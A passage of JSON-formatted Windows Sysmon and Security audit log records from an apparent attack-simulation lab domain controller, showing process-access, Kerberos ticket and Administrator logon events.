ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.960","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2539,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.960\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.960","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2540,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.976\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4009-5F2D-0000-00105E650400}\r\nTargetProcessId: 4708\r\nTargetImage: C:\\Windows\\system32\\conhost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.976","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4009-5F2D-0000-00105E650400}","TargetProcessId":"4708","TargetImage":"C:\\Windows\\system32\\conhost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2541,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.976\r\nSourceProcessGUID: {90617006-4009-5F2D-0000-00105E650400}\r\nSourceProcessId: 4708\r\nSourceThreadId: 4728\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4009-5F2D-0000-0010DD640400}\r\nTargetProcessId: 4696\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.976","SourceProcessGUID":"{90617006-4009-5F2D-0000-00105E650400}","SourceProcessId":"4708","SourceThreadId":"4728","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4009-5F2D-0000-0010DD640400}","TargetProcessId":"4696","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2542,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.991\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4009-5F2D-0000-0010DD640400}\r\nTargetProcessId: 4696\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.991","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4009-5F2D-0000-0010DD640400}","TargetProcessId":"4696","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2543,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.991\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nSourceProcessId: 1368\r\nSourceThreadId: 1468\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4009-5F2D-0000-0010DD640400}\r\nTargetProcessId: 4696\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x40\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\winrscmd.dll+8d36|C:\\Windows\\system32\\winrscmd.dll+92d5|C:\\Windows\\system32\\winrscmd.dll+af31|C:\\Windows\\system32\\winrscmd.dll+23dc|c:\\windows\\system32\\wsmsvc.dll+155ac7|c:\\windows\\system32\\wsmsvc.dll+13f76d|c:\\windows\\system32\\wsmsvc.dll+13f3cf|c:\\windows\\system32\\wsmsvc.dll+13fcb2|c:\\windows\\system32\\wsmsvc.dll+9ab10|c:\\windows\\system32\\wsmsvc.dll+9b611|c:\\windows\\system32\\wsmsvc.dll+4495|c:\\windows\\system32\\wsmsvc.dll+16816c|c:\\windows\\system32\\wsmsvc.dll+1689b8|c:\\windows\\system32\\wsmsvc.dll+16345b|c:\\windows\\system32\\wsmsvc.dll+163125|c:\\windows\\system32\\wsmsvc.dll+14ce9c|c:\\windows\\system32\\wsmsvc.dll+130049|c:\\windows\\system32\\wsmsvc.dll+13571a|c:\\windows\\system32\\wsmsvc.dll+12f47e|c:\\windows\\system32\\wsmsvc.dll+125587|c:\\windows\\system32\\wsmsvc.dll+11f562|c:\\windows\\system32\\wsmsvc.dll+124574","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.991","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","SourceProcessId":"1368","SourceThreadId":"1468","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4009-5F2D-0000-0010DD640400}","TargetProcessId":"4696","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x40","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\winrscmd.dll+8d36|C:\\Windows\\system32\\winrscmd.dll+92d5|C:\\Windows\\system32\\winrscmd.dll+af31|C:\\Windows\\system32\\winrscmd.dll+23dc|c:\\windows\\system32\\wsmsvc.dll+155ac7|c:\\windows\\system32\\wsmsvc.dll+13f76d|c:\\windows\\system32\\wsmsvc.dll+13f3cf|c:\\windows\\system32\\wsmsvc.dll+13fcb2|c:\\windows\\system32\\wsmsvc.dll+9ab10|c:\\windows\\system32\\wsmsvc.dll+9b611|c:\\windows\\system32\\wsmsvc.dll+4495|c:\\windows\\system32\\wsmsvc.dll+16816c|c:\\windows\\system32\\wsmsvc.dll+1689b8|c:\\windows\\system32\\wsmsvc.dll+16345b|c:\\windows\\system32\\wsmsvc.dll+163125|c:\\windows\\system32\\wsmsvc.dll+14ce9c|c:\\windows\\system32\\wsmsvc.dll+130049|c:\\windows\\system32\\wsmsvc.dll+13571a|c:\\windows\\system32\\wsmsvc.dll+12f47e|c:\\windows\\system32\\wsmsvc.dll+125587|c:\\windows\\system32\\wsmsvc.dll+11f562|c:\\windows\\system32\\wsmsvc.dll+124574","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2544,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.022\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.022","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":221736,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221737,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{B07B1896-D5AD-147F-51FC-9903F282D869}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{B07B1896-D5AD-147F-51FC-9903F282D869}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221738,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{B07B1896-D5AD-147F-51FC-9903F282D869}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{B07B1896-D5AD-147F-51FC-9903F282D869}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221739,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x46769\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{B07B1896-D5AD-147F-51FC-9903F282D869}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe 